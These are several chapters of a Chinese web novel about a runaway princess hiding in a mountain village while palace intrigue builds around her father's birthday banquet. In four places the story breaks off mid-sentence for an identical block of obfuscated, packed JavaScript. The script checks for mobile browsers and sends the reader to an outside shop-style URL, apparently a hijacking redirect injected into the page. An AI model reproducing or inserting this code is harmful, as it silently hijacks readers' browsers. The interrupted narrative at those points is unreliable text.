太阳已经完全升起来,照在身上暖烘烘的。谭柳真走得慢,谭晏就陪着慢慢走,手里提着药包和那碗饺子馅,时不时看她一眼。 “阿姐,手疼不疼?” “不疼了。”谭柳真说,“你别老看,越看我越觉得疼。” 走到山脚下的时候,迎面碰上几个村民,都是住在山下的熟脸。其中一个姓王的婶子看见她,惊讶道:“柳真?你这是怎么了?听说昨晚你们那儿进贼了?” 谭柳真点点头:“几个流民,已经让官差带走了。” 王婶子啧啧两声:“那可真是险,”她好奇地瞟了一眼她身后的谭晏,脸上露出惊奇的表情: “听说是这小子能干,一个人打了三个?了不得!” 谭柳真笑笑,心里生出一丝异样感。 这晚过后,谭晏的事怕是要兜不住了。 王婶子又打量她两眼,眼神有点怪,欲言又止的样子。谭柳真心里纳闷,但也没问,寒暄两句就继续往上走。 回到山上,有福还蹲在门口,听见动静立刻蹦起来,尾巴摇得跟风车似的,往谭柳真腿上扑。 谭柳真蹲下身,用没受伤的手摸了摸它的脑袋:“等急了吧?” 有福呜呜叫着,拿舌头舔她的手,又去舔谭晏的裤腿,忙得很。 谭晏把饺子馅倒进有福的食盆里,这小东西凑上去闻了闻,尾巴摇得更欢了,埋头就吃,吃得哼哼唧唧的,整个屁股都在扭。 谭柳真看着它,忍不住笑:“你看它,跟八辈子没吃过东西似的。” 谭晏嘴角也翘起来,蹲在一边看着有福吃。 阳光照在院子里,暖洋洋的。 陈捕头回到县衙,把那三个流民关进大牢,又写了呈文,准备报给知县大人。 写完呈文,他靠在椅子上,闭着眼睛养神,脑子里却不由自主地浮现出谭柳真的脸。 那张脸,他怎么总觉得在哪里见过?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225945|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不是在这几年,是在更早的时候。 陈捕头睁开眼,盯着屋顶,拼命回想。 他是三年前从长安贬到这小县的,之前在长安府衙当差。那时候,他见过不少达官贵人,也远远见过几次宫里的贵人。 忽然,一个念头像闪电一样劈进脑子里。 陈捕头猛地坐直了身子,冷汗一下子冒出来。 乐平长公主。 他记得那一年,他还在长安府衙当差,远远见过乐平长公主一次。那时候公主出宫进香,他负责沿途警戒,隔着轿帘看了一眼。 只一眼,他就记住了那张脸。 因为太美了。 不是刻意的端庄,不是摆出来的架子,而是一种浑然天成的东西。像是山在那里,水在那里,她站在那里,就理所应当。 那时候他想,原来天家的女儿是这样的,跟那些靠衣裳撑起来、靠规矩绷着的少爷小姐们是不一样的。那些人装得像,而她不用装。 那张脸,和昨晚那个女人,至少有七八分相似。 如果真的是乐平长公主…… 12.暗流涌动 殿外觥筹交错,殿内暗流汹涌。 汉钦帝端坐于案前,从前量身定做的龙袍,如今却显得格外宽大,修饰不住他那病骨支离的身躯。 不过才饮了三杯,他便觉得喉咙烫的发痒,忍不住偏过头去,用袖子遮住口,低低咳了几声。 嘉贵妃连忙凑上前来,纤手轻轻抚着他的背,将一盏温热的参汤递到唇边:“陛下,慢些。” “无妨。”汉钦帝就着她的手饮了一口,目光扫过殿中诸人,心下却是说不出的疲惫。 今日寿辰宴,汉钦帝特邀集诸国来使与皇室宗亲,同庆佳辰。 下首左侧,坐着的是新南燕王慕容信。 此人年过四十,生得虎背熊腰,一双鹰隼般的眼睛透着几分桀骜不驯。他此刻正歪在席上,一手撑着几案,一手举着酒盏,全然没有半点为客的恭敬姿态。 右侧则是朝阳太子——萧珩。 他生得极好,眉目疏朗,眸中似含着一汪春水,看人时总是温温和和的,已然一副温润如玉的模样。 九年过去,当年的翩翩少年郎已过而立之年,眉宇间多了几分沉稳内敛。 至于张皇后, 也就是乐平长公主的生母,此刻她正端坐于汉钦帝身侧,面色平静的就像一滩死水,冷眼看着台下。 台下载歌载舞,一群舞姬甩着水袖翩翩起舞。 乐师们拨弄丝弦,奏出一派盛世太平的调子。 可这太平底下,藏着什么,在座的每个人都心知肚明。对汉钦帝的身子不闻不问。 嘉贵妃看着皇帝的情况,心中担忧不已,眉头已然蹙成了一个八字。 “陛下……” 汉钦帝看着她,再次摇了摇头。 终于,一曲歌完,舞姬们施礼退下。 “好!跳得好!” 突然,座下有人拍了几下巴掌,声音十分突兀。 众人循着声音望去,来源正是慕容信。 慕容信脸颊微微泛红,眼神也有些迷离,显然是酒已喝得不少。 “大汉果真多美人!”众人笑着,以为只是个风流的主。 慕容信继续道:“就连这跳舞的侍女也是个个娇俏灵动,陛下还真是有福啊!” 众人听此哈哈大笑,还来不及附和,谁知他居然话锋一转,脸色狡黠道: “就是不知道陛下您这身子,还受不受得住这么多美人啊?” 台下的宾客一听,顿时都静了声。 慕容信不以为然,他站起身,摇摇晃晃地走到殿中央,朝着汉钦帝拱了拱手,笑道: “陛下,本王敬您一杯。听说陛下近日身子不大爽利,可要保重啊。您这大汉,可全指着您一个人撑着呐。” 汉钦帝轻轻一笑,现在还敢自称为本王的,恐怕也就只有慕容信这个不知天高地厚的臭狗熊。 说是敬酒,实则就是借着酒气来驳他的面子。 南燕如今四处讨战,谁不知道?听说不久前又打了一场胜仗,扩充了不少版图,这下是暗戳戳的来跟他叫板了? 汉钦帝不动声色,他举起酒杯,依旧皮笑肉不笑:“多谢燕王挂怀。朕这点小恙,不碍事。” “不碍事?” 慕容信哈哈大笑,殿中气氛顿时一凝。 “陛下说笑了,您这咳嗽的劲儿,本王隔着老远都听得真真切切。要本王说啊,您这身子骨,可不如当年了。” 此言一出,台下的几位官员面面相觑,脸色都不太好看。嘉贵妃眉头微蹙,下意识地往汉钦帝身边靠了靠。 慕容信毫无畏惧,甚至愈发来了兴致,目光一转,落在了一旁的张皇后身上。 “说起来……本王今日才算是真正见识了,什么叫母仪天下。”他眯着眼睛,将张皇控通声打量了一番,笑道: “张皇后这通身的气派,当真是世间少有。” 张皇后瞟了他一眼,眼里闪过一丝寒意。 这一眼让他顿了一顿,接着继续道: “也难怪当年……” “陛下能坐上这龙椅。” 殿下一片哗然。 张皇后举着茶杯的手猛然顿住,这时才正眼瞧了慕容信一眼。 她唇角微微勾起一抹冷笑,这张脸和谭柳真长得有七八分的相似,但给人的感觉却是截然不同。 谭柳真像是春风里的一片杨柳,而张皇后则像是腊月里的寒冰。 殿中一片死寂,就连路过的狗也不敢吭声。汉钦帝的脸色沉了下来,握着酒盏的手青筋暴起。 就在这时,一道清朗的声音忽然响起。 “燕王此言差矣。” 萧珩站起身,缓步走到殿中央,朝着汉钦帝与张皇后各行一礼,而后转向慕容信,脸上带笑。 “当年陛下能登大宝,自是因为陛下德才兼备、天命所归。” “皇后母族鼎立相助,自然功不可没。”笑着看了皇后一眼: “但也是因陛下仁德感召所致。燕王方才那话,怕是有失偏颇了。” 此言一出,台下皆是点头示意。皇帝立马转怒为喜,一看到他,像是看到了自己的同胞亲兄弟一般。 慕容信脸上的笑容僵了一瞬,自觉被驳了面子,只能哈哈大笑道: “朝阳太子所言极是!是本王今日有点喝大了,”拱手道: “对不住实在对不住。” “太子真是好口才!不愧是能说会道之人。” “燕王谬赞。”萧珩微微一笑,“不过是就事论事罢了。” 他说着,转身面向汉钦帝,拱手道: “今日乃陛下千秋华诞,臣特备薄礼一份,聊表心意。虽不甚贵重,却也是臣亲自挑选,还望陛下笑纳。” “好好!”汉钦帝高兴,萧珩大手一挥,旁边的侍从捧上一只锦盒。 众人翘首以盼,好奇着锦盒里的究竟是个什么东西。 盒盖打开, 里面居然只是一卷泛黄的古籍。 慕容信刚准备折一下他的面子,就听见太子缓缓道: “这是臣偶然所得的《太玄经》残卷,据说是当年扬雄亲笔所书。” “听闻陛下素来喜好古籍,便斗胆献上,愿陛下龙体康健,福寿绵长。” 汉钦帝看着那卷古籍,神色稍稍舒缓,顿时眉开眼笑,颔首道: “太子有心了。来人,收下。” 宴席里的氛围立刻回归轻松愉悦,台下的歌舞伎又重新换来了一波,慕容信只得重新回到自己的席位上。 他抓起酒盏猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235726|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灌了一口,眼中闪过一抹阴沉,和刚才扮演的醉鬼判若两人。 “说起来……” 忽然,他好似又想到了什么整人的法子,开口道: “本王倒是想起一桩旧事。” 他拖长了调子,目光在萧珩脸上转了转,萧珩神色不变,端起茶盏轻轻抿了一口。 “九年前,我听闻……乐平长公主不是被指婚给朝阳太子了么?” 慕容信笑得意味深长,萧珩闭了闭眼,仿佛就知道会有这么一茬。 “这公主……还没找到呢?” 汉钦帝的脸色见见阴沉。 慕容信越发得意,继续道: “本王听说,那乐平长公主可是当夜趁着鸿胪客馆走水,翻墙逃出去的。啧啧,堂堂一国长公主,竟然做出这等事来,当真是——” 他特意观察着朝阳太子的反应。不过可能要令他失望的事,萧珩只是又抿了一口,神情自若,仿佛此事与他无半分瓜葛。 慕容信见状,更加摇了摇头,啧啧有声: “要本王说啊,这乐平长公主的眼光,倒是不错。” 这话说得莫名其妙,众人皆是一愣。 慕容信笑得越发张狂:“你们想想,她宁可翻墙逃跑,也不愿意嫁给朝阳太子……要我说呀,还是太子老兄,你这能力不行啊!” 他转向萧珩,眼神满是挑衅:“本王听说朝阳皇帝今年都六十有六了吧?殿下您还得再加把劲,努努力呀!” “熬了这么多年,还没熬上那把椅子。要不然,公主殿下能跑呢。嫁过去九年,到现在还是个太子妃,连皇后都没混上,那多憋屈啊!” 朝阳身旁的一些亲信都有些愤愤不平,他们刚想出去理论一番,就被萧珩的一眼神逼了回去。 此言一出,殿中又是一片哗然。陪慕容信一同前来的几位小王连忙打着圆场道: “燕王这是喝多了,口无遮拦了啊!哈哈哈” 汉钦帝无奈的抚了抚眉,坐在席上长舒了一口气。 这话简直是当面打脸,而且是打得啪啪响。 “燕王说笑了。”萧珩握着茶盏的手微微一顿,随即抬起头来: “父王春秋鼎盛,儿臣身为太子,自当尽心辅佐,何来‘熬’字一说?” “至于公主殿下。公主金枝玉叶,当年之事必有隐情。臣不敢妄加揣测。” “哈哈哈!”慕容信脸上的笑容僵了僵,彻底认识到眼前的太子不是个善茬。 他举起酒盏,朝着萧珩遥遥一敬: “来来来,本王敬你一杯。愿你早日找到那位有眼光的公主,也好圆了当年的念想。” 说罢,仰头一饮而尽,笑声张狂。 萧珩看着他那副模样,眼底深处有什么东西一闪而过,却终究没有发作,只是端起茶盏,象征性地沾了沾唇。 殿中的气氛诡异到了极点。 表面上觥筹交错,宾主尽欢。 汉钦帝靠在龙椅上,看着底下这一幕幕,忽然觉得无比疲惫。 他偏过头,目光越过嘉贵妃,落在了张皇后的脸上。 那个女人,乐平的母亲,此刻正端坐着,面色平静得仿佛一潭死水。方才慕容信那些话,她听了,可自始至终却没有露出半点情绪。 13.同片夜色,不同光景。 宴会后,嘉贵妃扶着汉钦帝回到寝殿。 汉钦帝靠在软榻上,脸色比宴上更白了几分,额上沁出薄薄一层冷汗。 嘉贵妃看在眼里,心疼得紧,却不敢多说什么,只默默端过药盏,拿银匙轻轻搅了搅,吹凉了,才递到他唇边。 “陛下,该喝药了。” 汉钦帝睁开眼,将那盏苦药一口一口咽了下去。 药汁入喉,苦意蔓延,他皱了皱眉,忍不住出了声。 嘉贵妃放下药盏,拿帕子替他拭了拭唇角,忍轻声道: “陛下也真是的,今日何必饮那许多酒?太医明明嘱咐过,陛下要少饮酒为妙。” 汉钦帝笑了笑,握住她的手:“今日是朕的寿辰,满殿宾客,不饮几杯说不过去。” “说不过去也得顾着身子呀。” 嘉贵妃嗔怪地看他一眼,眼波流转间,是藏也藏不住的心疼, “你瞧瞧你这脸色,比去年秋天那会儿还差。” 提起去年秋天,汉钦帝的神色微微一顿。 嘉贵妃却没察觉,自顾自地说了下去: “说起来都怪陛下自己。都一把年纪了,非要和那些皇子们比什么马术。” “你说你,赢了又能怎样?输了又能怎样?偏要逞这个强。” 她说着,语气里带着几分埋怨:“那日,臣妾在围场边上看着,心都提到嗓子眼儿了。” “陛下策马越过那道栅栏的时候,臣妾差点叫出声来,那栅栏多高啊!” “后来陛下赢了,臣妾还没来得及高兴,就眼睁睁看着你从马上栽下来……” 说到这里,嘉贵妃眼圈微微泛红,声音也低了下去:“那一跤摔的,臣妾至今想起来都后怕。” 汉钦帝听着她絮絮叨叨,心里却涌起一股暖意。这深宫里头,敢这样跟他说话的,也就只有她了。 他伸手揽过她,让她靠在自己肩上,低声道: “好了好了,朕这不是好好的么。” 嘉贵妃抬头看他:“是是是,还得是陛下宝刀未老,最后居然都赢了众多皇子,真是英勇不凡。” 汉钦帝也跟着笑起来,可笑着,笑着却突然僵住了。 他回想起那日围猎,策马越过最后一道栅栏时,他回头看了一眼,他的皇子们一个个被他甩在身后。 当时这一场景,看的他心里很不是滋味。 嘉贵妃虽然受宠,但多年来都没能诞下一个皇子或公主。他众多子嗣里边,居然都是这样的货色…… “陛下?”嘉贵妃察觉到他的异样,轻声唤道,“陛下在想什么?” 汉钦帝回过神,摇了摇头:“没什么。” 嘉贵妃看了汉钦帝一眼,她太了解他了,他不想说的事,问也没用。 她靠在他肩上,轻声道:“陛下,臣妾伺候你歇了吧。明儿个还得早朝呢。” 汉钦帝嗯了一声,任由她扶着自己躺下。 烛火渐渐暗了下去,帷幔层层垂落,将这一室的暖意拢在方寸之间。 嘉贵妃替他掖好被角,自己也解了外裳,在他身侧躺下。 黑暗中,她忽然开口:“陛下,你还记得小时候的事么?” 汉钦帝微微一怔。 嘉贵妃顿了顿: “今日个宴上,看见那些使臣来来往往的,臣妾忽然想起小时候。” “那时候臣妾爹娘还在,咱们两家住隔壁,臣妾天天往你家跑,你娘还笑话臣妾,说这丫头怕是来咱们家蹭饭的。” 汉钦帝听着,唇角微微弯起。 他当然记得。 那时候他才七八岁,嘉贵妃比他小两岁,扎着两个小揪揪,天天跟在他屁股后面跑。 他去哪儿,她就去哪儿。他干什么,她也要干什么。 有一回他爬树掏鸟窝,她也非要爬,结果从树上摔下来,磕破了膝盖,哭得惊天动地。 他娘吓坏了,赶紧把她抱回家上药,一边上药一边骂他。他站在旁边,看着她哭得眼泪鼻涕糊一脸,心里又愧疚又好笑。 后来她就成了他家的常客。他娘喜欢她,说这丫头乖巧懂事,长大了要给他做媳妇。 再后来,他登基了,娶了张皇后,又纳了满宫嫔妃。 可她,却成了他最晚纳进宫的那个。 不是他不想。她爹娘去世后,她守孝三年。 她进宫那日,他亲自去迎。掀开盖头的那一刻,她看着他笑,眼眶却红红的。她说:“陛下,臣妾终于嫁给你了。” 他握着她的手,半晌说不出话来。 这些年,宫里人来人往,新人换旧人。张皇后是正宫,端庄威严。其他妃嫔各有各的好处。 只有嘉贵妃,不争不抢,只是安安静静地待在他身边,像小时候那样。 “陛下?”嘉贵妃的声音轻轻响起,“你睡着了?” 汉钦帝回过神来,低声道:“没有。” 嘉贵妃笑了笑,往他身边靠了靠: “臣妾也没睡着。臣妾在想,咱们小时候可真好啊。那时候什么都不用想,什么都不用愁,天天就知道玩儿。” 汉钦帝没有说话,只是伸手揽住了她。 黑暗中,两人静静地躺着,谁也不再多言。 不知过了多久,嘉贵妃的呼吸渐渐平稳下来,沉沉睡去。 汉钦帝却睁着眼,望着头顶的帷幔,久久无眠。 同一片夜色下,张皇后的凤仪宫却是另一番光景。 殿内烛火通明,却透着一股子说不出的冷清。 宫人们垂首立在两侧,大气都不敢出,只听得见窗外的风声,呜呜咽咽的,像是什么人在哭。 张皇后端坐于妆台前,对镜卸下满头的珠翠。 铜镜里映出一张脸,眉眼依旧是那样精致,可那精致底下,却透着一股子木然。 宫人们看在眼里,心里都暗暗发怵。皇后娘娘从前不是这样的。虽说也算不上多和善,可至少是个活人。 这几年却越发不对劲了,不说话,不笑,不怒,甚至连眼珠子都很少转动,就那么坐着,一坐就是大半日。 正想着,殿外忽然传来一阵脚步声。 一个内侍匆匆入内,躬身行礼,压低声音道:“娘娘,丞相大人遣人来了。” 张皇后的手微微一顿,随即恢复如常。 她抬起眼帘,看向铜镜里的自己,唇边缓缓浮起一抹极淡的笑。 “知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235727|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道了。”她淡淡道。 夜色渐深,宫门落锁的时辰早已过了。可今夜,凤仪宫的后门却悄悄打开了一条缝。 一个披着玄色斗篷的身影闪出门去,步履匆匆,很快消失在夜色之中。 皇后穿过重重宫巷,绕过巡逻的禁卫,沿着一条极少有人知晓的暗道,一路行至皇城根下。 那里停着一辆不起眼的青帷马车,车夫见她来了,忙跳下来,掀开车帘。 张皇后一言不发,登上马车。 车轮辘辘,碾过青石板路,穿过几条街巷,最终停在一座不起眼的宅院门前。 这是一座三进的宅子,门面不大,也不甚起眼。可门口站着的那几个守卫,个个腰杆挺直,目光锐利,一看便知是练家子。 张皇后下了车,拾级而上。 门扉无声开启,她迈步而入,穿过影壁,穿过回廊,一直走到正堂门前。 门开了。 堂内灯火通明,两个人正等着她。 一个是她的父亲,当朝丞相张嵩。 另一个, 张皇后脚步一顿,眸光微凝。 那人转过身来,一张略显粗犷的面孔上,挂着几分似笑非笑的神情。 慕容信。 “娘娘。”慕容信拱了拱手,笑得意味深长,“深夜相邀,实属冒昧。还望娘娘见谅。” 张皇后没有理会他,只看向自己的父亲。 张嵩年逾六旬,须发花白,可那双眼睛依旧锐利如鹰隼。他看了女儿一眼,沉声道:“坐。” 张嵩的目光在女儿脸上停留片刻,见她仍是那副无波无澜的模样,便也不再耽搁,抬手指向慕容信,开门见山道: “这位南燕王,从今往后,便是我等的盟友了。” 张皇后的眸光微微一动,终于将视线转向慕容信。 慕容信仍是那副吊儿郎当的模样,歪在椅上,一手撑着下巴,一手把玩着腰间坠着的银饰流苏,见她看过来,便咧嘴一笑,露出几分痞气: “娘娘,往后可得多多关照啊。” 张皇后没有接话,只觉得这人看的越发碍眼,转而扭头看向自己的父亲。 张嵩负手立于堂中,他缓缓开口: “南燕那边,他需要咱们大汉的支持,兵也好,钱也好,总归是要借力的。” 他说着,看了慕容信一眼,慕容信耸了耸肩,倒也不反驳。 张嵩继续道:“如今朝阳那边,萧珩虽仍是太子,可他那个父皇身子骨硬朗得很,一时半会儿还轮不到他上位。而咱们这边……” “陛下的身子,你我都知道。那几个皇子,一个比一个不中用。” 他没有把话说完,但意思已经再明显不过。 慕容信适时插嘴,笑得吊儿郎当: “丞相大人说得对。咱们各取所需,岂不美哉?” 张皇后终于开口,声音依旧平淡:“既如此,父女相商便是。何必非要我来这一趟?” 张嵩看着她,他沉默片刻,才缓缓道:“因为乐平。” 张皇后的身子微微一僵,堂中一阵死寂。 过了许久,张皇后才开口,声音毫无波澜: “在何处?” 14.花好月正圆 夜幕降下来的时候,山里的凉意就一点一点漫上来了。 谭柳真坐在灶房里,看着谭晏在灶台前忙活,心里头有点过意不去。 “你歇会儿吧,中午那顿是你做的,晚上随便吃点就行,别折腾了。” 谭晏没回头,嗯了一声,手上却没停。 他把下午从村里换来的那块面团拿过来,在案板上撒了薄薄一层面粉,然后开始揉。 谭柳真看着他的动作,发现他的动作非常熟练,而且很享受这个过程,似乎对为她做饭这件事已经期待了很久。 他揉面的力道不轻不重,一下一下的,把面团翻来覆去地揉,揉得光滑匀称,像一块上好的白玉。 “你这是要做面?”她问。 谭晏又嗯了一声。 谭柳真没再说话,就坐在那儿看着,她发现,谭晏真是做饭的一把好手。 灶膛里的火光映在谭晏的侧脸上,把他那张总是没什么表情的脸照得柔和了一些。 谭柳真忽然想起来,她好像从来没有这么长时间地看过一个人做饭。 在宫里的时候,膳房的事她从来不用操心,自有御厨们忙活。 后来逃出来了,在村子里住下,也是自己做自己的,从来没有别人给她做过饭。 今天倒是破天荒了。 谭晏把面团揉好了,放在一边醒着,然后去拿了一根擀面杖。 那擀面杖是谭柳真自己用的,不大,但是挺沉。谭晏拿在手里,却像拿着根筷子似的,轻飘飘的。 他把面团擀开,擀成一张薄薄的大圆片,然后叠起来,用刀切成一条一条的。 刀工还是那么好,每一根面条都切得宽窄均匀,整整齐齐。 谭柳真看着那些面条,心里忽然动了一下。 谭晏已经把面条抖散开,下进了锅里。然后他又拿了两个鸡蛋,在锅沿上轻轻一磕,打进锅里。 鸡蛋在沸水里慢慢凝成形,蛋白裹着蛋黄,像两轮小小的月亮。 他又洗了一把青菜,在面条快熟的时候放进去,烫了烫就捞出来。 “好了。” 谭柳真走过去,低头一看,愣住了。 碗里是清亮的面汤,面条整整齐齐地卧在碗底,上面卧着一个荷包蛋,旁边摆着几根翠绿的青菜。 蛋煮得刚刚好,蛋黄还是溏心的,微微颤着,像是随时会流出来。 每年父皇生辰那天,宫里都会吃长寿面。她那时候还小,坐在母后身边,看着父皇把那碗面吃完,然后大家一齐跪下来,说着万寿无疆的吉祥话。 后来她大了些,也学着给父皇做长寿面。 御厨们教她,面条要切得均匀,寓意长长久久。鸡蛋要煮得圆满,寓意圆圆满满。青菜要放得青翠,寓意万古长青。 她做了好几年,每一年的样式,都和眼前这碗面一模一样。 谭柳真看着那碗面,一时没有说话。 谭晏端着另一碗面,站在旁边,看着她,眼睛里有一点很淡的紧张: “阿姐?” 谭柳真回过神来,笑了笑:“没什么,走吧,去后面吃,外面凉快。” 后头有个小庭子,夏天乘凉用,谭柳真搬来两个小凳子。 谭晏端着两碗面过去,谭柳真跟在后面,左手端着自己的那碗。 有福早就闻见香味了,跟在他们脚边,尾巴摇得呼呼响,嘴里呜呜地叫,急得不行。 “不急哦,”谭柳真低头看它,“有你的一份。” 有福听不懂,但是它听得懂语气,知道是在说它,尾巴摇得更欢了。 谭晏把面放在石头上,又回去端了一碗出来。那碗是给有福的,没有盐,只有面条和一个鸡蛋,是谭晏特意给它煮的。 有福早就蹲在那儿等着了,一看见那碗面放到地上,立刻扑上去,埋头就吃,吃得呼呼响,整个身子都在扭。 谭柳真看着它那副没出息的样子,忍不住笑:“你看它,比咱们吃得还香。” 谭晏嘴角翘了翘,在她旁边的小凳子上坐下来。 月亮已经升起来了,又大又圆,挂在院子后面的树梢上,照得整个山头亮堂堂的。 星星也出来了,一颗一颗的,密密麻麻的,像是撒了一把碎银子在天上。 谭柳真低头吃了一口面。 面条筋道,汤头清亮,鸡蛋煮得刚刚好。 她愣了一下,抬头看着谭晏,认真道:“你这手艺真的,都可以去开馆子了。” “那我以后天天给阿姐做。”两人笑眼弯弯。 月亮慢慢往上走,星星也越来越多。山里很静,静得能听见风从树梢上走过的声音,能听见远处山涧里隐隐约约的水声。 谭柳真低头继续吃面,但她的心思已经不在这碗面上了。 十九年的宫廷生活,每一年的这一天,她都要早早起来,梳洗打扮,穿上最隆重的衣裳,跟着母后去给父皇贺寿。 然后是宴席,是歌舞,是那些永远说不完的吉祥话,是那些永远堆着笑的虚伪面孔。 谭柳真抬起头,看着天上的月亮。 今晚的月亮真圆。宫里的月亮,应该也是这么圆吧。 父皇的生辰宴,应该已经开始了。那些皇子公主们,那些大臣命妇们,应该都已经到了。 御膳房会准备几百桌宴席,歌舞班子会从天黑跳到天亮。宫里会张灯结彩,热闹得像过年一样。 谭柳真心里有一点淡淡的失落,像是一片羽毛落在水面上,轻轻飘着,沉不下去,但也散不开。 可是转念一想,如果她还在宫里,这会儿肯定少不了那些繁琐的礼数。 不像现在。 谭柳真低头看了看自己碗里的面,又看了看旁边蹲着的谭晏,和地上吃得不亦乐乎的有福。 现在这样,多好。 谭柳真嘴角弯起来,弯成一个很淡很淡的笑。 她觉得自己挺幸福的。 “阿姐。” 谭晏的声音忽然响起来,打断了她的思绪。 谭柳真转过头:“嗯?” 谭晏看着她,神情认真:“今天早上那些人,已经交给官府了。” 谭柳真点点头:“我知道,陈捕头说了,会关起来。” “但是,”谭晏顿了顿,“我不放心。” “不放心什么?” 谭晏没有直接回答,而是转头看向院子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235728|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向,看着那道用木桩和树枝围起来的简陋围栏。 “围栏太矮了,”他说,“我跳得过去。” 谭柳真愣了一下,然后笑了:“你跳得过去,别人可不一定。你也不看看自己是什么身手。” 谭晏没有笑,还是那副认真的样子:“不是所有人都像阿姐想的那样。有些人,翻墙很快。” 谭柳真看着他,忽然想起来,这小子自己就是个翻墙高手。 “你想怎么弄?”她问。 谭晏说:“加高。再密一点。顶上削尖。” 谭柳真想了想,点了点头:“行,明天我跟你一起弄。” 谭晏看了她一眼,目光落在她包扎着的右手上。 谭柳真顺着他的目光低下头,然后笑了: “看我干什么?我左手还能动,给你递个东西还是行的。再说了,我又不是只废了一只手,你当我什么都干不了?” 谭晏没说话,但是那眼神,分明是在说“你就是什么都干不了”。 谭柳真气得想敲他脑袋,但是手抬起来才发现,右手确实不方便,左手又够不着。 她只好瞪了他一眼。 谭晏被她瞪了一眼,脸上没什么表情,但是眼睛里有一点很淡的笑意,一闪就过去了。 有福吃完了那碗面,把碗舔得干干净净,比洗过的还干净。这会儿正趴在谭柳真脚边,肚子圆滚滚的,满足地打着小呼噜。 谭柳真低头看了看它,又看了看旁边的谭晏,忽然想起一件事。 “你晚上睡哪儿?”她问。 谭晏说:“门口。” 谭柳真皱了皱眉:“门口多冷,晚上山风大,你别冻着了。” 谭晏还是摇头:“阿姐手不方便。” 谭柳真愣了一下,然后明白过来他的意思。 这小子…… “我又不是瘫了。” 有福不知道什么时候醒了,颠颠儿地跑过去,蹲在他旁边,仰着脑袋看他洗碗。 谭晏洗完一个碗,有福就凑上去闻一闻,尾巴摇一摇,好像在检查他洗得干不干净。 谭柳真看着这一幕,忍不住笑了。 她抬起头,又看了看天上的月亮。 今晚的月亮真圆。 谭晏洗完碗,端着一摞碗走过来,看见她站在那儿发呆,脚步顿了顿。 “阿姐?” 谭柳真回过神来,笑了笑:“走吧,进屋。” 两人一狗慢慢走回屋里。 谭晏把她送到房门口,看着她进去,然后自己走到门口,把早就准备好的那床薄被铺在地上,靠着墙坐下来。 有福也跟着他走过来,在他旁边趴下,把脑袋搁在他腿上,舒服地叹了口气。 谭晏低头看了看它,伸手摸了摸它的脑袋。 屋里安静下来。 谭晏靠着墙,看着门口透进来的一点点月光,听着屋里有福轻轻的呼噜声,和屋里头谭柳真偶尔翻身的细微声响。 月光从门缝里透进来,照在他脸上,照在有福身上,照在这一方小小的空间里。 像是天地间只剩下他们三个人,守着这一方小小的院子,守着这一夜的月光。 15.他好像不是很欢迎我 谭晏感觉自己怀里抱着一团东西,伴随着小狗嘴里的哼唧声,这才发现有福钻进了自己被窝。 他缩在被窝里,听见窗外风声呼呼地拍打着窗户,昨晚的那根蜡烛早已燃尽,屋子里只剩下灰蒙蒙的晨光。 然后裹着被子坐起来,发现自己呼出的气是白的。 真冷,天气降温了。 穿好衣服推开门,院子里堆着一地木板,昨天谭柳真托人从镇上那里运来的,就是为了加固院墙。 有福跟着他跑出来,在院子里转了两圈。 谭晏看了一眼,径直走到厨房里熬粥,接着翻出锤子和锯子,他刚把第一块木板搬起来,身后就传来脚步声。 “阿晏,起这么早?”谭柳真走过来,伸出去的手上还缠着厚厚的白布,吊在胸前。 谭晏打发她去吃饭,完后谭柳真想要帮忙,却被一口回绝。 “我一只手也能——” “不用。” 谭柳真只好把话咽了回去,她转身去屋里搬了个小凳子,坐在门口,腿上放着一筐没拣完的草药。 她用左手笨拙地挑拣着,眼睛却一直往谭晏那边瞟。 有福看看谭晏,又看看谭柳真,犹豫了一下,跑到谭柳真脚边趴下了。 他先把旧的栅栏拆下来,那些木头有些已经朽了,一掰就断。然后他把新木板锯成一样的高度,再一根根钉上去。 钉钉子需要两只手,他试了几下,发现不太顺手。于是他换了个姿势,用膝盖顶着木板,一只手扶着钉子,另一只手抡锤子。 